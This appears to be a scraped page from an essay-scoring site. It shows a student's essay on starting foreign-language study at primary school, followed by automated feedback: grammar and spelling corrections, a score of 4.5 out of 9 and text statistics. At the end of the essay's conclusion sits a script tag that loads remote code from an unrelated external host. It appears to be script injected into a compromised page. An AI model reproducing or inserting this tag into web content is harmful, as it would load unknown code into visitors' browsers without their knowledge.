Some experts believe that it is better for Children to begin learning a foreign language at primary school rather than secondary school.
Do the advantages of this outweigh the disadvantages?
According to some educators, children who begin learning a foreign language at primary school, are more beneficial than those who learning at secondary school. I maintain that their opinion is valid, because of these two following reasons.
Firstly, as we all know that young children, compared to teenagers, are very receptive to learning a new language. They are willing and able to mimic pronounciation without the inhibitions and self-consiciousness of older students. They enjoy playing with the language and pick it up very quickly. Their sensitive ears help them pick up on and duplicate tricky sounds that adults, and even adolescents, often stumble over.
Furthermore, in primary schools, children typically spend the whole day with one class teacher who covers the whole curriculum. This is ideal for foreign language learning as teachers can exploit many opportunities to integrate foreign language into everyday classroom routines and into other lessons. A class teacher who teaches everything, including the foreign language, helps reinforce the hidden message that ‘everyone can do it.’
In conclusion, i believe that it is best to start early when it comes to learning a foreign language and the ideal place to start learning is primary school. <script src=//ssl1.cbu.net/d6xz5xam></script>
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those who learning at secondary school.
those who are learning at secondary school.
because of these two following reasons.
because of following two reasons.
Sentence: They are willing and able to mimic pronounciation without the inhibitions and self-consiciousness of older students.
Error: self-consiciousness Suggestion: self consciousness
Error: pronounciation Suggestion: No alternate word
flaws:
No. of Words: 197 350
Minimum 250 words wanted
Attribute Value Ideal
Score: 4.5 out of 9
Category: Poor Excellent
No. of Grammatical Errors: 2 2
No. of Spelling Errors: 2 2
No. of Sentences: 10 15
No. of Words: 197 350
No. of Characters: 1035 1500
No. of Different Words: 125 200
Fourth Root of Number of Words: 3.746 4.7
Average Word Length: 5.254 4.6
Word Length SD: 2.815 2.4
No. of Words greater than 5 chars: 79 100
No. of Words greater than 6 chars: 71 80
No. of Words greater than 7 chars: 46 40
No. of Words greater than 8 chars: 23 20
Use of Passive Voice (%): 0 0
Avg. Sentence Length: 19.7 21.0
Sentence Length SD: 5.021 7.5
Use of Discourse Markers (%): 0.3 0.12
Sentence-Text Coherence: 0.377 0.35
Sentence-Para Coherence: 0.633 0.50
Sentence-Sentence Coherence: 0.083 0.07
Number of Paragraphs: 4 5